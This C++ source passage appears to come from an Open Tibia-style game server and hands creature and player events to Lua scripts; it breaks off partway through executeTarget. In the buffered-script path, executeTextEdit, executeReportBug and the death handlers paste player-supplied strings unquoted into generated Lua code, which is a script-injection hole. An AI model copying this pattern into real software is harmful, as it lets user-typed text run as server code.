uint32_t CreatureEvent::executeAdvance(Player* player, skills_t skill, uint32_t oldLevel, uint32_t newLevel)
{
    //onAdvance(cid, skill, oldLevel, newLevel)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local skill = " << skill << std::endl;
            scriptstream << "local oldLevel = " << oldLevel << std::endl;
            scriptstream << "local newLevel = " << newLevel << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, (uint32_t)skill);

            lua_pushnumber(L, oldLevel);
            lua_pushnumber(L, newLevel);

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeAdvance] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeMailSend(Player* player, Player* receiver, Item* item, bool openBox)
{
    //onSendMail(cid, receiver, item, openBox)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local receiver = " << env->addThing(receiver) << std::endl;
            env->streamThing(scriptstream, "item", item, env->addThing(item));
            scriptstream << "local openBox = " << (openBox ? "true" : "false") << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[30];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, env->addThing(receiver));

            LuaScriptInterface::pushThing(L, item, env->addThing(item));
            lua_pushboolean(L, openBox);

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeMailSend] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeMailReceive(Player* player, Player* sender, Item* item, bool openBox)
{
    //onReceiveMail(cid, sender, item, openBox)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local sender = " << env->addThing(sender) << std::endl;
            env->streamThing(scriptstream, "item", item, env->addThing(item));
            scriptstream << "local openBox = " << (openBox ? "true" : "false") << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[30];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, env->addThing(sender));

            LuaScriptInterface::pushThing(L, item, env->addThing(item));
            lua_pushboolean(L, openBox);

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeMailReceive] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeTradeRequest(Player* player, Player* target, Item* item)
{
    //onTradeRequest(cid, target, item)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local target = " << env->addThing(target) << std::endl;
            env->streamThing(scriptstream, "item", item, env->addThing(item));

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, env->addThing(target));
            LuaScriptInterface::pushThing(L, item, env->addThing(item));

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeTradeRequest] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeTradeAccept(Player* player, Player* target, Item* item, Item* targetItem)
{
    //onTradeAccept(cid, target, item, targetItem)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local target = " << env->addThing(target) << std::endl;
            env->streamThing(scriptstream, "item", item, env->addThing(item));

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, env->addThing(target));
            LuaScriptInterface::pushThing(L, item, env->addThing(item));
            LuaScriptInterface::pushThing(L, targetItem, env->addThing(targetItem));

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeTradeAccept] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeLook(Player* player, Thing* thing, const Position& position, int16_t stackpos, int32_t lookDistance)
{
    //onLook(cid, thing, position, lookDistance)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            scriptstream << "local thing = " << env->addThing(thing) << std::endl;
            env->streamPosition(scriptstream, "position", position, stackpos);
            scriptstream << "local lookDistance = " << lookDistance << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[30];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            LuaScriptInterface::pushThing(L, thing, env->addThing(thing));

            LuaScriptInterface::pushPosition(L, position, stackpos);
            lua_pushnumber(L, lookDistance);

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeLook] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeDirection(Creature* creature, Direction old, Direction current)
{
    //onDirection(cid, old, current)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            scriptstream << "local old = " << old << std::endl;
            scriptstream << "local current = " << current << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[30];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, old);
            lua_pushnumber(L, current);

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeDirection] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeOutfit(Creature* creature, const Outfit_t& old, const Outfit_t& current)
{
    //onOutfit(cid, old, current)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            env->streamOutfit(scriptstream, "old", old);
            env->streamOutfit(scriptstream, "current", current);

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[30];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            LuaScriptInterface::pushOutfit(L, old);
            LuaScriptInterface::pushOutfit(L, current);

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeOutfit] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeThink(Creature* creature, uint32_t interval)
{
    //onThink(cid, interval)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local interval = " << interval << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, interval);

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeThink] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeStatsChange(Creature* creature, Creature* attacker, StatsChange_t type, CombatType_t combat, int32_t value)
{
    //onStatsChange(cid, attacker, type, combat, value)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local attacker = " << env->addThing(attacker) << std::endl;

            scriptstream << "local type = " << (uint32_t)type << std::endl;
            scriptstream << "local combat = " << (uint32_t)combat << std::endl;
            scriptstream << "local value = " << value << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(attacker));

            lua_pushnumber(L, (uint32_t)type);
            lua_pushnumber(L, (uint32_t)combat);
            lua_pushnumber(L, value);

            bool result = m_interface->callFunction(5);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeStatsChange] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeCombatArea(Creature* creature, Tile* tile, bool aggressive)
{
    //onAreaCombat(cid, ground, position, aggressive)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            env->streamThing(scriptstream, "ground", tile->ground, env->addThing(tile->ground));
            env->streamPosition(scriptstream, "position", tile->getPosition(), 0);
            scriptstream << "local aggressive = " << (aggressive ? "true" : "false") << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            LuaScriptInterface::pushThing(L, tile->ground, env->addThing(tile->ground));

            LuaScriptInterface::pushPosition(L, tile->getPosition(), 0);
            lua_pushboolean(L, aggressive);

            bool result = m_interface->callFunction(4);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeAreaCombat] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeCombat(Creature* creature, Creature* target)
{
    //onCombat(cid, target)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local target = " << env->addThing(target) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeCombat] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeAttack(Creature* creature, Creature* target)
{
    //onAttack(cid, target)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local target = " << env->addThing(target) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeAttack] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeCast(Creature* creature, Creature* target/* = NULL*/)
{
    //onCast(cid[, target])
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local target = ";
            if(target)
                scriptstream << env->addThing(target);
            else
                scriptstream << "nil";

            scriptstream << std::endl << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeCast] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeKill(Creature* creature, Creature* target, bool lastHit)
{
    //onKill(cid, target, lastHit)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            scriptstream << "local target = " << env->addThing(target) << std::endl;
            scriptstream << "local lastHit = " << (lastHit ? "true" : "false") << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(target));
            lua_pushboolean(L, lastHit);

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeKill] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeDeath(Creature* creature, Item* corpse, DeathList deathList)
{
    //onDeath(cid, corpse, deathList)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            env->streamThing(scriptstream, "corpse", corpse, env->addThing(corpse));
            scriptstream << "local deathList = {}" << std::endl;
            for(DeathList::iterator it = deathList.begin(); it != deathList.end(); ++it)
            {
                scriptstream << "deathList:insert(";
                if(it->isCreatureKill())
                    scriptstream << env->addThing(it->getKillerCreature());
                else
                    scriptstream << it->getKillerName();

                scriptstream << ")" << std::endl;
            }

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            LuaScriptInterface::pushThing(L, corpse, env->addThing(corpse));

            lua_newtable(L);
            DeathList::iterator it = deathList.begin();
            for(int32_t i = 1; it != deathList.end(); ++it, ++i)
            {
                lua_pushnumber(L, i);
                if(it->isCreatureKill())
                    lua_pushnumber(L, env->addThing(it->getKillerCreature()));
                else
                    lua_pushstring(L, it->getKillerName().c_str());

                lua_settable(L, -3);
            }

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeDeath] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executePrepareDeath(Creature* creature, DeathList deathList)
{
    //onPrepareDeath(cid, deathList)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            scriptstream << "local deathList = {}" << std::endl;
            for(DeathList::iterator it = deathList.begin(); it != deathList.end(); ++it)
            {
                scriptstream << "deathList:insert(";
                if(it->isCreatureKill())
                    scriptstream << env->addThing(it->getKillerCreature());
                else
                    scriptstream << it->getKillerName();

                scriptstream << ")" << std::endl;
            }

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", creature->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));

            lua_newtable(L);
            DeathList::iterator it = deathList.begin();
            for(int32_t i = 1; it != deathList.end(); ++it, ++i)
            {
                lua_pushnumber(L, i);
                if(it->isCreatureKill())
                    lua_pushnumber(L, env->addThing(it->getKillerCreature()));
                else
                    lua_pushstring(L, it->getKillerName().c_str());

                lua_settable(L, -3);
            }

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();

            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executePrepareDeath] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeTextEdit(Player* player, Item* item, std::string newText)
{
    //onTextEdit(cid, item, newText)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;
            scriptstream << "local cid = " << env->addThing(player) << std::endl;

            env->streamThing(scriptstream, "item", item, env->addThing(item));
            scriptstream << "local newText = " << newText.c_str() << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            LuaScriptInterface::pushThing(L, item, env->addThing(item));
            lua_pushstring(L, newText.c_str());

            bool result = m_interface->callFunction(3);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeTextEdit] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeReportBug(Player* player, std::string comment)
{
    //onReportBug(cid, comment)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(player) << std::endl;
            scriptstream << "local comment = " << comment.c_str() << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            char desc[35];
            sprintf(desc, "%s", player->getName().c_str());
            env->setEventDesc(desc);
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushstring(L, comment.c_str());

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeReportBug] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executePush(Player* player, Creature* target)
{
    //onPush(cid, target)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(player->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(player) << std::endl;
            scriptstream << "local target = " << env->addThing(target) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << player->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(player->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(player));
            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executePush] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeTarget(Creature* creature, Creature* target)
{
    //onTarget(cid, target)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local target = " << env->addThing(target) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
